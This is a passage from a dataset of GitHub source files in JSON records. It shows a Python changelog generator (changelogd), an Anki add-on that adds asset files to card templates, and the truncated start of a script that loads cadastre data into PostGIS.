{"api_name": "multiprocessing.Process", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}]}
{"seq_id": "35084310763", "text": "# -*- coding: utf-8 -*-\n\"\"\"Main module.\"\"\"\nimport csv\nimport datetime\nimport getpass\nimport glob\nimport hashlib\nimport io\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport typing\nfrom collections import defaultdict\nfrom pathlib import Path\n\nfrom ruamel.yaml import YAML  # type: ignore\n\nfrom .computed_values import ComputedValueProcessor\nfrom .config import Config\nfrom .config import DEFAULT_USER_DATA\nfrom changelogd.resolver import Resolver\nfrom changelogd.utils import add_to_git\nfrom changelogd.utils import get_git_data\n\nyaml = YAML(typ=\"unsafe\")\nyaml.default_flow_style = False\n\n\nclass EntryField:\n    name: str\n    verbose_name: str\n    required: bool\n    multiple: bool\n    default: typing.Any\n\n    def __init__(self, **data: typing.Dict[str, typing.Any]) -> None:\n        self.name = str(data.get(\"name\", \"\"))\n        if not self.name:\n            logging.error(\"Each 'entry_fields' element needs to have 'name'.\")\n            sys.exit(1)\n        if \" \" in self.name:\n            logging.error(\n                \"The 'name' argument of an 'entry_fields' element cannot contain spaces.\"\n            )\n            sys.exit(1)\n        self.verbose_name = str(data.get(\"verbose_name\", \"\"))\n        self.required = bool(data.get(\"required\", True))\n        self.multiple = bool(data.get(\"multiple\", False))\n        self.default = data.get(\"default\", None)\n\n    @property\n    def value(self) -> typing.Any:\n        value = None\n        while value is None:\n            modifiers = []\n            if self.required:\n                modifiers.append(\"required\")\n            if self.multiple:\n                modifiers.append(\"separate multiple values with comma\")\n            default: typing.Any\n            if self.default:\n                if isinstance(self.default, dict) and \"compute\" in self.default:\n                    processor = ComputedValueProcessor.from_string(\n                        self.default[\"compute\"]\n                    )\n                    default = processor.function()\n                else:\n                    default = self.default\n            else:\n                default = None\n            aux = f\" ({', '.join(modifiers)})\" if modifiers else \"\"\n            if default:\n                aux += f\" [{default.strip()}]\"\n            value = input(f\"{self.verbose_name or self.name}{aux}: \") or None\n            if value is None and default:\n                return default.strip()\n            if value is None and not self.required:\n                break\n        if value is not None and self.multiple:\n            csv_string = io.StringIO(value)\n            reader = csv.reader(csv_string, delimiter=\",\")\n            value = [value.strip() for value in next(reader)]\n        return value\n\n\ndef _is_int(input: typing.Any) -> bool:\n    try:\n        int(input)\n        return True\n    except (ValueError, TypeError):\n        return False\n\n\ndef entry(\n    config: Config,\n    release: typing.Optional[str],\n    options: typing.Dict[str, typing.Optional[str]],\n) -> None:\n    data = config.get_data()\n    release_ = _get_release_entry(config, release)\n    computed_value_processors = [\n        ComputedValueProcessor(item) for item in data.get(\"computed_values\", [])\n    ]\n    entry_fields = [EntryField(**entry) for entry in data.get(\"entry_fields\", [])]\n    entry_type = _get_entry_type(data, options)\n\n    entry = {\n        entry_.name: options.get(entry_.name) or entry_.value for entry_ in entry_fields\n    }\n    entry[\"type\"] = entry_type\n\n    _add_user_data(entry, config.get_value(\"user_data\", DEFAULT_USER_DATA))\n\n    if computed_value_processors:\n        for processor in computed_value_processors:\n            entry.update(processor.get_data())\n\n    hash = hashlib.md5()\n    entries_flat = \" \".join(f\"{key}={value}\" for key, value in entry.items())\n    hash.update(entries_flat.encode())\n\n    entry[\"timestamp\"] = int(datetime.datetime.now().timestamp())\n    if release_:\n        output_file, release_data = release_\n        entries: typing.List[typing.Any] = release_data[\"entries\"].get(entry_type, [])\n        entries.insert(0, entry)\n        release_data[\"entries\"][entry_type] = entries\n        data = release_data\n    else:\n        output_file = config.path / f\"{entry_type}.{hash.hexdigest()[:8]}.entry.yaml\"\n        data = entry\n    with output_file.open(\"w\") as output_fh:\n        yaml.dump(data, output_fh)\n    add_to_git(output_file)\n\n    logging.warning(f\"Created changelog entry at {output_file.absolute()}\")\n\n\ndef _get_release_entry(\n    config: Config, release: typing.Optional[str]\n) -> typing.Optional[typing.Tuple[Path, typing.Dict[str, typing.Any]]]:\n    if not release:\n        return None\n    releases_files = [\n        item for item in config.releases_dir.iterdir() if item.suffix == \".yaml\"\n    ]\n    for release_file in releases_files:\n        with release_file.open() as release_file_fh:\n            release_data = yaml.load(release_file_fh)\n        if release_data.get(\"release_version\") == release:\n            return (release_file, release_data)\n    sys.exit(f\"The release '{release}' doesn't exist.\")\n\n\ndef _add_user_data(\n    entry: dict, user_data: typing.Union[typing.List[str], None]\n) -> None:\n    if not user_data:\n        return\n    data = {}\n    data[\"os_user\"] = getpass.getuser()\n    git_data = get_git_data()\n    if git_data:\n        data[\"git_user\"], data[\"git_email\"] = git_data\n\n    for key in user_data:\n        source, destination, *_ = key.split(\":\", maxsplit=1) * 2\n\n        if source not in DEFAULT_USER_DATA:\n            sys.exit(\n                f\"The '{source}' variable is not supported in 'user_data'. \"\n                f\"Available choices are: '{', '.join(DEFAULT_USER_DATA)}'.\"\n            )\n\n        entry[destination] = data[source]\n\n\ndef _get_entry_type(\n    data: typing.Dict[str, typing.Any], options: typing.Dict[str, typing.Any]\n) -> str:\n    message_types = data.get(\"message_types\", [])\n    if not message_types:\n        logging.error(\"The 'message_types' field is missing from the configuration\")\n        sys.exit(1)\n\n    provided_type: typing.Union[int, str, None] = options.get(\"type\")\n    if provided_type is not None:\n        if _is_int(provided_type):\n            if not _is_in_range(int(provided_type), message_types):\n                sys.exit(\n                    f\"Given --type has to be positive number, \"\n                    f\"lower than {len(message_types) + 1}\"\n                )\n            return _get_type_name(message_types, provided_type)\n        elif isinstance(provided_type, str):\n            type_names = {type_.get(\"name\") for type_ in message_types}\n            if provided_type not in type_names:\n                sys.exit(\n                    f\"No such type: '{provided_type}'. \"\n                    f\"Available types: {', '.join(type_names)}\"\n                )\n            return provided_type\n        else:\n            raise TypeError\n\n    for i, message_type in enumerate(message_types):\n        print(f\"\\t[{i + 1}]: {message_type.get('title')} [{message_type.get('name')}]\")\n    selection = None\n    while not _is_int(selection) or not (\n        _is_in_range(selection, message_types)  # type: ignore\n    ):\n        if selection is not None:\n            print(\n                f\"Pick a positive number lower than {len(message_types) + 1}\",\n                file=sys.stderr,\n            )\n        selection = input(\"Select message type [1]: \") or 1\n    entry_type = _get_type_name(message_types, selection)  # type: ignore\n    return entry_type\n\n\ndef _get_type_name(\n    message_types: typing.List[typing.Dict[str, typing.Any]],\n    selection: typing.Union[int, str],\n) -> str:\n    return message_types[int(selection) - 1].get(\"name\", \"\")\n\n\ndef _is_in_range(\n    index: int, message_types: typing.List[typing.Dict[str, typing.Any]]\n) -> bool:\n    return 0 < int(index) < len(message_types) + 1\n\n\ndef draft(config: Config, version: str) -> None:\n    releases, _ = _read_input_files(config, version)\n\n    resolver = Resolver(config)\n    draft = resolver.full_resolve(releases)\n\n    print(draft)\n\n\ndef release(\n    version: typing.Optional[str] = None,\n    check: bool = False,\n    partial: bool = False,\n    output: str = \"\",\n    config: typing.Union[Config, str, None] = None,\n) -> None:\n    if config is None:\n        config = Config()\n    elif not isinstance(config, Config):\n        config = Config(config)\n    config.settings[\"partial\"] = partial\n    if version is None:\n        version = config.partial_name\n    releases, entries = _read_input_files(config, version, check)\n\n    if not config.get_bool_setting(\"partial\"):\n        _save_release_file(config, releases, version)\n        logging.info(\"Removing old entry files\")\n        for entry in entries:\n            os.remove(entry)\n\n    resolver = Resolver(config)\n    release = resolver.full_resolve(releases)\n\n    output_path = Path(output) if output else config.output_path\n\n    if check:\n        with output_path.open(\"r\") as output_fh:\n            previous_content = output_fh.read()\n\n    with output_path.open(\"w\") as output_fh:\n        output_fh.truncate(0)\n        output_fh.write(release)\n        logging.warning(f\"Generated changelog file to {output_path}\")\n\n    if check and previous_content != release:\n        logging.error(\"Output file content is different than before.\")\n        sys.exit(1)\n\n\ndef _save_release_file(\n    config: Config, releases: typing.List[typing.Dict[str, typing.Any]], version: str\n) -> None:\n    current_release = releases[0]\n    release_id = releases[1][\"id\"] + 1 if len(releases) > 1 else 0\n    output_release_path = config.releases_dir / f\"{release_id}.{version}.yaml\"\n    with output_release_path.open(\"w\") as output_release_fh:\n        yaml.dump(current_release, output_release_fh)\n        logging.warning(f\"Saved new release data into {output_release_path}\")\n    add_to_git(output_release_path)\n\n\ndef _read_input_files(\n    config: Config, version: str, is_checking: bool = False\n) -> typing.Tuple[typing.List[typing.Dict[str, typing.Any]], typing.List[str]]:\n    release, entries = _create_new_release(config, version, is_checking)\n    releases = _prepare_releases(release, config.releases_dir)\n\n    return releases, entries\n\n\ndef _prepare_releases(\n    release: typing.Dict, releases_dir: Path\n) -> typing.List[typing.Dict]:\n    versions: typing.Dict[int, Path] = dict()\n    for item in os.listdir(releases_dir.as_posix()):\n        match = re.match(r\"(\\d+).*\\.ya?ml\", item)\n        if match:\n            version = int(match.group(1))\n            if version in versions:\n                sys.exit(f\"The version {version} is duplicated.\")\n            versions[version] = releases_dir / match.group(0)\n    previous_release = None\n    releases = []\n    for version in sorted(versions.keys()):\n        with versions[version].open() as release_fh:\n            release_item = yaml.load(release_fh)\n            if not release_item:\n                logging.error(\n                    f\"Release file {versions[version]} is corrupted and will be ignored.\"\n                )\n                continue\n            release_item[\"previous_release\"] = previous_release\n            release_item[\"id\"] = version\n            previous_release = release_item.get(\"release_version\")\n            releases.append(release_item)\n    if release:\n        release[\"previous_release\"] = previous_release\n        releases.append(release)\n    return list(reversed(releases))\n\n\ndef _create_new_release(\n    config: Config, version: str, is_checking: bool\n) -> typing.Tuple[typing.Dict[str, typing.Any], typing.List[str]]:\n    empty = config.get_bool_setting(\"empty\")\n    partial = config.get_bool_setting(\"partial\")\n    entries = glob.glob(str(config.path.absolute() / \"*.entry.yaml\"))\n    if not entries and not partial and not empty:\n        logging.error(\"Cannot create new release without any entries.\")\n        sys.exit(1)\n    date = datetime.date.today()\n    if partial and is_checking:\n        date = _get_partial_timestamp(config, entries)\n    release: typing.Dict[str, typing.Any] = {\n        \"entries\": defaultdict(list),\n        \"release_version\": version,\n        \"release_date\": date.strftime(\"%Y-%m-%d\"),\n        \"release_description\": input(\"Release description (hit ENTER to omit): \")\n        if not partial\n        else None,\n    }\n\n    _grab_entries(entries, release)\n\n    for group_name, items in release[\"entries\"].items():\n        release[\"entries\"][group_name] = list(_sort_entries(items))\n\n    # normalize release by dumping and loading it back via JSON\n    release = json.loads(json.dumps(release))\n    if not entries and not empty:\n        return {}, []\n    return release, entries\n\n\ndef _grab_entries(\n    entries: typing.List[str], release: typing.Dict[str, typing.Any]\n) -> None:\n    for entry_path in entries:\n        with open(entry_path) as entry_file:\n            entry_data = yaml.load(entry_file)\n        timestamp = entry_data.get(\"timestamp\") or os.path.getmtime(entry_path)\n        entry_data[\"timestamp\"] = timestamp\n        release[\"entries\"][entry_data.pop(\"type\")].append(entry_data)\n\n\ndef _sort_entries(items: typing.List[typing.Dict]) -> typing.Iterator[typing.Dict]:\n    return reversed(sorted(items, key=lambda x: (x[\"timestamp\"])))  # type: ignore\n\n\ndef _get_partial_timestamp(\n    config: Config, entries: typing.List[str]\n) -> datetime.datetime:\n    timestamps = []\n    if config.output_path.is_file():\n        timestamps.append(os.path.getmtime(config.output_path.as_posix()))\n    for entry in entries:\n        timestamps.append(os.path.getmtime(entry))\n    timestamps.sort()\n    if not timestamps:\n        return datetime.datetime.today()\n    return datetime.datetime.fromtimestamp(timestamps[-1])\n", "repo_name": "aklajnert/changelogd", "sub_path": "changelogd/changelogd.py", "file_name": "changelogd.py", "file_ext": "py", "file_size_in_byte": 13652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ruamel.yaml.YAML", "line_number": 27, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 36, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 38, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 62, "usage_type": "attribute"}, {"api_name": "computed_values.ComputedValueProcessor.from_string", "line_number": 65, "usage_type": "call"}, {"api_name": "computed_values.ComputedValueProcessor", "line_number": 65, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 82, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 83, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 54, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 88, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 97, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 99, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 99, "usage_type": "attribute"}, {"api_name": "config.get_data", "line_number": 101, "usage_type": "call"}, {"api_name": "computed_values.ComputedValueProcessor", "line_number": 104, "usage_type": "call"}, {"api_name": "config.get_value", "line_number": 114, "usage_type": "call"}, {"api_name": "config.DEFAULT_USER_DATA", "line_number": 114, "usage_type": "argument"}, {"api_name": "hashlib.md5", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 124, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 127, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 127, "usage_type": "attribute"}, {"api_name": "config.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "changelogd.utils.add_to_git", "line_number": 136, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 138, "usage_type": "call"}, {"api_name": "config.Config", "line_number": 142, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 142, "usage_type": "attribute"}, {"api_name": "config.releases_dir.iterdir", "line_number": 147, "usage_type": "call"}, {"api_name": "config.releases_dir", "line_number": 147, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 154, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 143, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 143, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 143, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 143, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 158, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 158, "usage_type": "attribute"}, {"api_name": "getpass.getuser", "line_number": 163, "usage_type": "call"}, {"api_name": "changelogd.utils.get_git_data", "line_number": 164, "usage_type": "call"}, {"api_name": "config.DEFAULT_USER_DATA", "line_number": 171, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 172, "usage_type": "call"}, {"api_name": "config.DEFAULT_USER_DATA", "line_number": 174, "usage_type": "argument"}, {"api_name": "typing.Dict", "line_number": 181, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 181, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 185, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 186, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 188, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 192, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 200, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 217, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 225, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 225, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 225, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 226, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 232, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 232, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 232, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 237, "usage_type": "name"}, {"api_name": "changelogd.resolver.Resolver", "line_number": 240, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 247, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 251, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 251, "usage_type": "name"}, {"api_name": "config.Config", "line_number": 254, "usage_type": "call"}, {"api_name": "config.Config", "line_number": 255, "usage_type": "argument"}, {"api_name": "config.Config", "line_number": 256, "usage_type": "call"}, {"api_name": "config.settings", "line_number": 257, "usage_type": "attribute"}, {"api_name": "config.partial_name", "line_number": 259, "usage_type": "attribute"}, {"api_name": "config.get_bool_setting", "line_number": 262, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 264, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 266, "usage_type": "call"}, {"api_name": "changelogd.resolver.Resolver", "line_number": 268, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 271, "usage_type": "call"}, {"api_name": "config.output_path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 280, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 283, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 284, "usage_type": "call"}, {"api_name": "config.Config", "line_number": 288, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 288, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 288, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 288, "usage_type": "attribute"}, {"api_name": "config.releases_dir", "line_number": 292, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 295, "usage_type": "call"}, {"api_name": "changelogd.utils.add_to_git", "line_number": 296, "usage_type": "call"}, {"api_name": "config.Config", "line_number": 300, "usage_type": "name"}, {"api_name": "config.releases_dir", "line_number": 303, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 301, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 301, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 301, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 301, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 309, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 309, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 311, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 311, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 312, "usage_type": "call"}, {"api_name": "re.match", "line_number": 313, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 317, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 325, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 310, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 310, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 340, "usage_type": "name"}, {"api_name": "config.get_bool_setting", "line_number": 342, "usage_type": "call"}, {"api_name": "config.get_bool_setting", "line_number": 343, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 344, "usage_type": "call"}, {"api_name": "config.path.absolute", "line_number": 344, "usage_type": "call"}, {"api_name": "config.path", "line_number": 344, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 346, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 347, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 348, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 348, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 351, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 351, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 352, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 366, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 366, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 341, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 341, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 341, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 341, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 373, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 373, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 373, "usage_type": "attribute"}, {"api_name": "os.path.getmtime", "line_number": 378, "usage_type": "call"}, {"api_name": "os.path", "line_number": 378, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 383, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 383, "usage_type": "attribute"}, {"api_name": "typing.Iterator", "line_number": 383, "usage_type": "attribute"}, {"api_name": "config.Config", "line_number": 388, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 388, "usage_type": "attribute"}, {"api_name": "config.output_path.is_file", "line_number": 391, "usage_type": "call"}, {"api_name": "config.output_path", "line_number": 391, "usage_type": "attribute"}, {"api_name": "os.path.getmtime", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "attribute"}, {"api_name": "config.output_path.as_posix", "line_number": 392, "usage_type": "call"}, {"api_name": "config.output_path", "line_number": 392, "usage_type": "attribute"}, {"api_name": "os.path.getmtime", "line_number": 394, "usage_type": "call"}, {"api_name": "os.path", "line_number": 394, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 397, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 397, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 398, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 398, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 389, "usage_type": "attribute"}]}
{"seq_id": "1099372615", "text": "# -*- coding: utf-8 -*-\n\"\"\"The implementation of the Anki Assets plugin.\"\"\"\nimport os\nimport os.path\nimport pathlib\n\nfrom aqt import mw  # type: ignore\n\naddon_path = os.path.dirname(__file__)\n\n\ndef addons_assets_directory() -> pathlib.Path:\n    return pathlib.Path(addon_path) / 'assets'\n\n\ndef list_my_assets(dir: pathlib.Path) -> list[str]:\n    return [f for f in os.listdir(dir) if f.startswith(\"_aa-\")]\n\n\nIMPORT_STATEMENTS = (\n    '\\n'\n    '\\n'\n)\n\n\ndef install_assets():\n    codehighlighter_assets_dir = codehighlighter_assets_directory()\n    my_assets = list_my_assets(codehighlighter_assets_dir)\n    for asset in my_assets:\n        mw.col.media.add_file(codehighlighter_assets_dir / asset)\n\n    def append_import_statements(tmpl):\n        return tmpl + '\\n' + IMPORT_STATEMENTS\n\n    for model in mw.col.models.all():\n        for tmpl in model['tmpls']:\n            tmpl['afmt'] = append_import_statements(tmpl['afmt'])\n            tmpl['qfmt'] = append_import_statements(tmpl['qfmt'])\n        mw.col.models.save(model)\n\n\ndef delete_assets():\n\n    def delete_import_statements(tmpl):\n        return re.sub('^<[^>]*class=\"[^\"]*anki-assets[^\"]*\"[^>]*>[^\\n]*\\n',\n                      \"\",\n                      tmpl,\n                      flags=re.MULTILINE)\n\n    for model in mw.col.models.all():\n        for tmpl in model['tmpls']:\n            tmpl['afmt'] = delete_import_statements(tmpl['afmt']).strip()\n            tmpl['qfmt'] = delete_import_statements(tmpl['qfmt']).strip()\n        mw.col.models.save(model)\n\n    my_assets = list_my_assets(anki_media_directory())\n    mw.col.media.trash_files(my_assets)\n\n\ndef setup_menu():\n    mw.form.menuTools.addSection(\"Anki Assets\")\n    mw.form.menuTools.addAction(\n        aqt.qt.QAction(\"Configure Anki Assets\", mw, triggered=install_assets))\n    mw.form.menuTools.addAction(\n        aqt.qt.QAction(\"Delete Anki Assets\", mw, triggered=delete_assets))\n\n\nsetup_menu()\n", "repo_name": "gregorias/anki-assets", "sub_path": "anki_assets/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2060, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "aqt.mw.col.media.add_file", "line_number": 30, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 30, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 30, "usage_type": "name"}, {"api_name": "aqt.mw.col.models.all", "line_number": 35, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 35, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 35, "usage_type": "name"}, {"api_name": "aqt.mw.col.models.save", "line_number": 39, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 39, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 39, "usage_type": "name"}, {"api_name": "aqt.mw.col.models.all", "line_number": 50, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 50, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 50, "usage_type": "name"}, {"api_name": "aqt.mw.col.models.save", "line_number": 54, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 54, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 54, "usage_type": "name"}, {"api_name": "aqt.mw.col.media.trash_files", "line_number": 57, "usage_type": "call"}, {"api_name": "aqt.mw.col", "line_number": 57, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 57, "usage_type": "name"}, {"api_name": "aqt.mw.form.menuTools.addSection", "line_number": 61, "usage_type": "call"}, {"api_name": "aqt.mw.form", "line_number": 61, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 61, "usage_type": "name"}, {"api_name": "aqt.mw.form.menuTools.addAction", "line_number": 62, "usage_type": "call"}, {"api_name": "aqt.mw.form", "line_number": 62, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 62, "usage_type": "name"}, {"api_name": "aqt.qt.QAction", "line_number": 63, "usage_type": "call"}, {"api_name": "aqt.mw", "line_number": 63, "usage_type": "argument"}, {"api_name": "aqt.qt", "line_number": 63, "usage_type": "attribute"}, {"api_name": "aqt.mw.form.menuTools.addAction", "line_number": 64, "usage_type": "call"}, {"api_name": "aqt.mw.form", "line_number": 64, "usage_type": "attribute"}, {"api_name": "aqt.mw", "line_number": 64, "usage_type": "name"}, {"api_name": "aqt.qt.QAction", "line_number": 65, "usage_type": "call"}, {"api_name": "aqt.mw", "line_number": 65, "usage_type": "argument"}, {"api_name": "aqt.qt", "line_number": 65, "usage_type": "attribute"}]}
{"seq_id": "7403385024", "text": "import os\nimport sys\nimport csv\nimport glob\nimport fiona\nfrom shapely.geometry import shape\nimport psycopg2\n\nimport cadutils\n\ndef load_ddl(conn, ddlfile):\n    print(\"* Executing DDL %s\" % os.path.basename(ddlfile))\n    with open(ddlfile, 'r', encoding='utf-8') as infile:\n        ddl_content = infile.read()\n        cur = conn.cursor()\n        cur.execute(ddl_content)\n        conn.commit()\n\ndef copy_from_csv_to_postgres_copy(conn, csv_path, table_name, sep=',', skip_header=True):\n    cur = conn.cursor()\n    with open(csv_path, 'r') as csvfile:\n        if skip_header:\n            next(csvfile)  # Skip the header row.\n        cur.copy_from(csvfile, table_name, sep)\n\n    conn.commit()\n\ndef copy_from_csv_to_postgres_inserts(conn, csv_path, table_name, columns, sep=','):\n    cur = conn.cursor()\n    print(\"* Loading %s with %s\" % (table_name, os.path.basename(csv_path)))\n    with open(csv_path, 'r') as csvfile:\n        csvreader = csv.DictReader(csvfile, delimiter=sep)\n        for row in csvreader:\n            column_names = ','.join(columns)\n            vals = [row[column_name]for column_name in columns]\n            query = 'INSERT INTO %s (%s) ' % (table_name, column_names)\n            query += 'VALUES (' + ','.join(['%s' for column_name in columns]) +')'\n\n            cur.execute(query, vals)\n    conn.commit()\n\ndef create_tables(conn):\n    for sqlfile in sorted(glob.glob(os.path.dirname(os.path.abspath(__file__))+'/ddl/*.sql')):\n        load_ddl(conn, sqlfile)\n\ndef refresh_materialized_view(conn):\n    print(\" *Loading v_map_capa (materialized view) with fresh data\")\n    cur = conn.cursor()\n    cur.execute(\"REFRESH MATERIALIZED VIEW vm_map_capa\")\n    conn.commit()\n\ndef check_postgis():\n    pass\n\ndef make_checks():\n    check_postgis()\n\ndef load_shapefile(conn, table_name, shapefile_path, columns):\n    cur = conn.cursor()\n    print(\"* Loading %s with %s\" % (table_name, os.path.basename(shapefile_path)))\n    with fiona.open(shapefile_path) as shapefile:\n        for feat in shapefile:\n            the_geom = shape(feat['geometry'])\n             #Lower case for CAPAKEY, CAPATY, SHAPE_AREA, SHEET\n            column_names = ','.join(map(str.lower, columns))\n            query = 'INSERT INTO %s (the_geom, %s) ' % (table_name, column_names)\n            query += 'VALUES (ST_SetSRID(ST_GeomFromText(%s),31370), ' + ','.join(['%s' for column_name in columns]) +')'\n            vals = [feat['properties'][column_name]for column_name in columns]\n            vals = [the_geom.wkt] + vals\n            cur.execute(query, vals)\n    conn.commit()\n\n\ndef main():\n    if os.environ[\"CADASTREDIR\"] == \"\":\n        print(\"Environment variable CADASTREDIR must be set and pointing to a directory\")\n        sys.exit(0)\n    else:\n        print(\"Using %s as working dir\" % os.environ[\"CADASTREDIR\"])\n        print(\"*\")\n\n    path_to_data = os.environ[\"CADASTREDIR\"]\n    path_to_da = os.path.join(path_to_data, \"o_da.csv\")\n    path_to_map 